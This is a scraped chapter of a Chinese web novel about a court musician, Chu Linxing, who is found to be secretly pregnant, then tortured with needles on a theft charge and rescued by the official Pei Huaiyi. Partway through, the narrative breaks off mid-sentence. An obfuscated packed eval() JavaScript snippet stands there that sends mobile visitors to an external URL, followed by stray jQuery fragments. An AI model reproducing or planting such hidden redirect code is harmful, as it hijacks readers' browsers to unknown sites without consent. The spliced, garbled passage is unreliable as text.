默认冷灰
24号文字
方正启体

17.第 17 章

作者:呕花深处本书字数:K更新时间:
    “是在避嫌吗?”


    裴淮义上前,笑问他。


    他没有想到她会得知这些,也没有想到她会问出来,强撑着神色:“没有,不是……”


    “主子,肖大人在正厅候着您。”雪竹出言提醒。


    楚临星没有进正厅,此时才恍然,原来是肖柏在此处。


    ……裴淮义好像不喜欢他见肖柏。


    闻言,裴淮义扬了扬眉头,看向一旁雪竹:“给肖大人泡一杯菊花茶,让她降降火气。”


    言毕,她看着楚临星,想看这人究竟会不会要求见肖柏。


    出乎意料的,楚临星朝她俯身拜别:“不打扰大人商谈政事了。”


    同寻常很是不一样。


    裴淮义温声道:“让风兰送你回去。”


    他没有推拒:“……多谢大人。”


    直至人走了,雪竹当即道:“主子,楚公子近些时与伏大人走得近,今夜公子要为伏大人抚琴。”


    只怕抚琴是幌子,楚临星如今捧得这么高,想要用他的人实在太多。


    只是伏刻炎究竟抛出了怎样的好处,能叫楚临星动摇,她们至今都没能探查出这人想要什么。


    权力吗,皇帝的权利如此之大,他却拒绝了乐官一职,避开了裴淮义,想要投身肖府,如今又同伏刻炎走得这么近。


    就连一向缜密的雪竹也不能分析出什么了——他的举动实在是太奇怪了。


    裴淮义唇角弧度未变:“原来是找到了新枝儿。”


    找到新枝儿的楚临星挤在角落,无意识地掐着掌心,试图用疼痛唤醒自己。


    他方拒绝了伏刻炎。


    伏刻炎是个好官,至少在他眼里是这样,可她是个激进的好官,楚临星不能保证她的胜算,也不能保证她会帮自己。


    她是恪守规矩的文官,没准知道他的计划,会将他扭送到皇帝面前。


    可拒绝了伏刻炎,肖柏无视了他的求助,他还能找谁。


    脑海中浮现出了裴淮义温和的面容。


    “嗡——”


    那场大火似乎从脑海中蔓延到现实,耳旁不休的嗡鸣令他紧张地缩紧身子,腹痛不止。


    “好痛、娘亲……”滚烫的眼泪几乎是瞬间滚落,“爹爹,娘亲,我好痛、好痛。”


    “公、公子?”


    蒹葭不知何时进来的,见他这幅模样,登时愣在原地,待反应过来,转身将门紧闭,惊惧地将他扶起。


    “公子,你、你原来会说话吗?”


    他忙打了自己个嘴巴,“公子,你哪里不舒服?”


    “好痛,肚子,肚子痛……”


    大火已经烧到了眼前,楚临星抓住了救命的稻草:“郎中,青蔓,帮我叫郎中。”


    他的神志已经不清醒了。


    “是,是。”


    蒹葭来不及纠结他为何说话,也来不及纠结青蔓是谁,当即揣了银子跑出去叫郎中。


    因为他看到楚临星亵裤上的血迹在扩散。


    王娘子被请来为他把脉,怔然地收回了手:“这……”


    “娘子,公子究竟是怎么了?”


    “他,”王娘子复杂地看着榻上的人,得知这样的秘密,她一时间甚至不知该如何说出口,“他有孕了,要先保胎。”


    “啊?”蒹葭不可置信地瞪大眼,


    “莫不是,莫不是出了错,王娘子,我们公子还不曾嫁人,怎要保胎?”


    被小小儿郎质疑,王娘子没有生气,稳住情绪为他在细瘦的小腿上施针,半柱香的时辰,血总算是止住了。


    “他身子本就虚弱,这一胎约莫五个月了。”王娘子狐疑地看向他平坦的腹部,“……他郁结于心,情绪波动过大,不宜养胎。”


    蒹葭当即朝她跪下:“求王娘子,莫要告诉旁人此事!”


    王娘子摆了摆手,苦涩地望了眼榻上的人:“不会的……”


    谁都不能想到,这样一个疏冷的公子,居然未婚先孕了。


    楚临星对外称病,第二日没有来,只身边的蒹葭来:“大人,实在对不住,我家公子病了,如今正卧床养病……”


    裴淮义皱了皱眉:“这么严重?”


    昨夜暗卫来报,说伏刻炎走后,楚临星身边的下人便请了郎中。


    他一直是病恹恹的清瘦模样,隔一段时间便要拿药,只没想到这次卧床不起。


    蒹葭低着头,声音还有些哽咽:“还望大人恕罪。”


    雪竹默不作声。


    她与风兰知道,主子一直将楚公子当做颍川的成恩。


    “肖柏出发了吗?”她迈步朝外走去。


    “肖大人想必一会便出门。”


    弦月堂是李云邦的产业,前段时日李云邦的独女被打了板子,而今人还在大狱,没能出来,李云邦分不出心神,今日她与肖柏要入弦月堂,除了李云邦的爪牙,混入其他势力。


    两人约好了时辰,只是没想到,楚临星这边又出了岔子。


    “备马。”


    成恩是个倔性子,如若楚临星真的是他,他便是病死也不会求助她。


    裴淮义说不出自己此刻究竟是什么心情。


    成恩带着目的接近她,又逃离她、背叛她,就算病死,也不求助她。


    只是当她进弦月堂后,见几个琴师面面相觑,没有入往常般去叫楚临星:“大人,楚公子今日不能抚琴。”


    有个年纪小的不悦地嘟囔:“他偷了掌事的银钱,想要逃跑呢……”


    随后被同伴戳了一肘,瘪上嘴不说话了。


    裴淮义看着他:“人呢?”


    几个琴师鹌鹑似的缩着,雪竹正要问,听见后院传来尖锐的嗓音。


    “给我扎,我倒要看看,他是不是哑巴!”


    郝掌事怒拍桌案,震得茶盏颤颤。


    楚临星被绑在了木凳上,挣扎不开,噙着眼泪拼命摇头。


    柔软的发丝也散乱了,白纱也沾了脏污,狼狈不堪。


    可没人理会他。


    他的鞋履被人褪下,几个男子上前按住他,将银针扎进他的足尖。


    尖锐的银针穿透皮肉,指甲渗出一道道血痕。


    郝宛身边的人为他顺着气,语气与主子如出一辙的刻薄:“听闻,用拶刑更能逼人叫出来,可惜了,你还得为陛下与诸位大人抚琴,只叫你尝尝银针的滋味,也算便宜了你。”


    “继续扎,慢些扎,叫他好好品一品。”


    “手脚不干净,敢偷琴馆的银钱……”


    第八针。


    他的八个脚趾都被扎了银针,面纱上也透出血污。


    见他把嘴唇咬破也不肯出声,郝宛嗤笑:“原来是块硬骨头,我倒要看看,是你的骨头硬,还是我的针硬!”


    十指连心。


    恰此时,后院的门被来人踹开。


    雪竹利落收脚,裴淮义面色沉沉,不辨息怒。


    “哪个贱蹄……”郝宛面上的怒意更甚,回头看清来人,面色煞白,“裴、裴大人!”


    他知道蒹葭去告罪了,可没想到裴淮义会亲自过来。


    原本惋惜不能对他用拶刑,将他的食指夹断,此刻郝宛的怒火被一盆冷水浇灭。


    朝堂的人,他们一个都得罪不起。


    裴淮义没有应声


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15330784|167554||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,是雪竹上前,将虚脱的楚临星解了下来。


    后院似被沉重的乌云笼罩,几个侍人大气都不敢出,努力降低自己的存在感。


    楚临星额上满是冷汗,连穿罗袜、趿鞋都不能。


    “弦月堂,原来是这般。”


    她面上并没有怒意,可这话叫郝掌事当即软了腿。


    郝宛扑通一声跪地,膝行至她面前:“大人,大人明鉴,是他偷了琴馆的银钱,这贱蹄子手脚不干净,欠了银子,还要偷钱,还请大人为小民做主啊!”


    裴淮义坐在风兰搬来的椅上,没有言语。


    “动用私刑,是小民不对,可琴馆丢了一大笔钱,从他屋里搜出来,这如何得了。”


    郝宛的声音过分尖锐。


    肖柏正好此时到来,刚进院门就被震了耳朵,啧道:“低声些,这是什么光彩的事?”


    震得人耳朵疼。


    院中多了两拨人,郝宛的气焰越来越低。


    裴淮义看到他头更低了些,生怕肖柏看见他一样。


    “楚公子,你拿了他的银钱吗?”雪竹问他。


    楚临星衣摆与面纱沾了脏污和血迹,被蒹葭搀扶着,慢慢摇头。


    “我们公子不是这样的人,他没有偷银钱,公子一向清贫,想着攒够银钱赎身,连药都买不起,都没有做这样的事。”


    蒹葭泪眼婆娑,若非搀扶着楚临星,必然要跪下连连磕头了。


    郝宛尖叫道:“一向不曾,今日不是做了?!”


    裴淮义一记眸光扫过,郝宛便噤了声,再不敢出言。


    “你一直跟在他身边?”


    蒹葭点头,又紧忙摇头:“昨夜公子起夜我不曾跟着。”


    郝宛看着裴淮义,却不敢再大喊:“大人,他承认了,他就是偷了东西。”


    “不,”楚临星痛得指尖都在颤,眸中却没有半点软弱的模样,“我的确出去了,却是看到了郝掌事同女子私会……”


    郝宛登时反驳:“你血口喷人!”


    “郝掌事威胁我,说我若是敢告诉旁人,就在我再无立足之地。”


    裴淮义看了一旁的肖柏一眼。


    后者领会她的意思,抬手,亲卫带上一个女人来:“郝掌事,可认得啊?”


    女人凄凄惨惨,显然是被拖来的,原本的茫然,在看到郝宛后变成愤怒,却碍于两个大人在场,连屁都不敢放一个。


    郝宛仅看了那人一眼,便脸色惨白的别过头,哀求道:“大人为小民做主,小民不认得她……”


    狗咬狗,后院乱作一团。


    真相已然明朗。


    在裴淮义起身的一瞬,后院众人噤若寒蝉,却见她朝外走去。


    院里的杂乱事被她扔给了肖柏。


    这厢,蒹葭出去烧水,楚临星独自坐在榻上。


    原本款式老旧,浆洗发白的衣裳也破了口子,再不能穿。


    楚临星这回没再低着头,同她对视:“多谢大人救命。”


    裴淮义嗯了一声,半是玩笑半是认真地道:“楚公子,我救了你,不以身相许报答我吗?”


    “……大人,那是颍川的说法,不是江南的。”


    她没有放过楚临星的任何情绪。


    但他神色那样自然,只是因着大病未愈再添新伤,脸色惨白:“您、是又将我当做师兄了吗?”


    裴淮义稍顿,看着眼前赤着足的人,声音平平地道:“昨日我问你时,你不是说,能活下去吗?”


    “楚公子,怎么每次都让自己深陷囹圄?”


    她的眸光落在楚临星的脚踝上,凝眸,瞧见了一颗红艳艳的痣。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)